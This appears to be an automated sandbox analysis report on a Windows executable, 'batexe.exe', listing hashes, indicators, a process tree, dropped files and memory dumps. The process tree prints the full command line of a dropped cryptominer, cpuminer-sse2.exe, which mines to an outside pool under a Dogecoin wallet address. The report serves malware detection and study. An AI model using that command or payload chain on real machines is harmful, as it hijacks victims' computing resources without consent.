73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
292s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 15:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4880	b2e.exe
2892	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2892	cpuminer-sse2.exe
2892	cpuminer-sse2.exe
2892	cpuminer-sse2.exe
2892	cpuminer-sse2.exe
2892	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2236-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 4880	2236	batexe.exe	74
PID 2236 wrote to memory of 4880	2236	batexe.exe	74
PID 2236 wrote to memory of 4880	2236	batexe.exe	74
PID 4880 wrote to memory of 496	4880	b2e.exe	75
PID 4880 wrote to memory of 496	4880	b2e.exe	75
PID 4880 wrote to memory of 496	4880	b2e.exe	75
PID 496 wrote to memory of 2892	496	cmd.exe	77
PID 496 wrote to memory of 2892	496	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9589.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:496
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe

Filesize
1.7MB

MD5
8a9068d61d9aaa2ec3cbb150915f969c

SHA1
29a72e787a95e7262c5840d8f454018e05f88136

SHA256
559cc6f19cb4fe168bdd6d5623a37892464a112568ac94a4b21c2897769b3af0

SHA512
4f46e3be26b0bce7b47e6eeca16e702e3ce937d2093fe8ce970e4e8c9cccc98203c97406ca1eb6094aed84ff3cb6cfabdf7b3096507bea61f98df5b9a4232e02

Download Submit
C:\Users\Admin\AppData\Local\Temp\93C4.tmp\b2e.exe

Filesize
1.3MB

MD5
2a707629f8f6256805c3836c0f1144bb

SHA1
52927fdae195996c777d6c68f7fa7c4eccb8c1b8

SHA256
07c8ca4eecfbad1087722d68bf2cd2807eae778f29f31d063db65d81fb204156

SHA512
3834201087c8045b61472922a9a1a073b89c0afc9a1240685f7e92333407b57b07832b845877ca6d35a43fe026667022367c98e344471f5fc0a24a7670de7411

Download Submit
C:\Users\Admin\AppData\Local\Temp\9589.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
923KB

MD5
42580a2ec66e29b777ef732fcf607cd3

SHA1
7a4511ed192a55294a500b5e201b953b48713f59

SHA256
c253d5257d43443c85a6f26dcd2ca1c907194bcfdac3b65276e08a29ccb13715

SHA512
06fb441550238b084cf502fa40e9c83cb8c1e9ce4a517fdee42ef0d9687df624f86598b04391031c8cf41b142744e038c48e3562ee3a17bc0b38c4d77b751908

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
a604da2df96c876d92945ce55ec38482

SHA1
6693e722672fa8a5ab2624889c9100d0c1ce8769

SHA256
8508bea5b4b3452f739860923eb3d1aac1af880c45b46f60bf3efbd66b0f756f

SHA512
968ef0976390ed935d47c7d69f34c1d5e8cbb635fc2a6a1dadc502e51d1bca56404ea7cf04e05aec46888febeee382099e740d7f2eb524868e9b40f89b7a8671

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
512KB

MD5
a5993c0dd7587f1716037dcfe1f63091

SHA1
9a4d23ce36f5fc5791692b47d977c0bf92842879

SHA256
568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3

SHA512
c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
fe9c750a8a624975e6b62602c31ebbd8

SHA1
a44a87769b42ad4e2e329f49c2d0e4dc4f9293f5

SHA256
8539f8fd0955a490f8b41284199ab2d2c74c2a94280754969814161b906febe9

SHA512
de37e6f98d36b776114116acf1463a96e35eab1c0aed59e31eceaf07810b86b131882f3d909db44493b71bdd69d15dd6f75cf20fb1fb4d80d187399150263c1b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
143KB

MD5
3f47da019d94417e3a434233953c96d4

SHA1
4bee8ee0a17eadb692f97d5c2daee5ae00bd4930

SHA256
6e6dd656b72f1c42440e933860b9118746213d88c23becef8e7c870dba672914

SHA512
b5db763c3ca6c3481f567469685bd4bd19231d582f83809df7c728896861a4c603bbcfadec30254e0e32fd30cfe618fc90e7618a93f79e3fb9838ae578270b78

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2236-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2892-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2892-42-0x0000000068570000-0x0000000068608000-memory.dmp

Filesize
608KB

Download
memory/2892-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2892-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2892-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2892-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4880-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download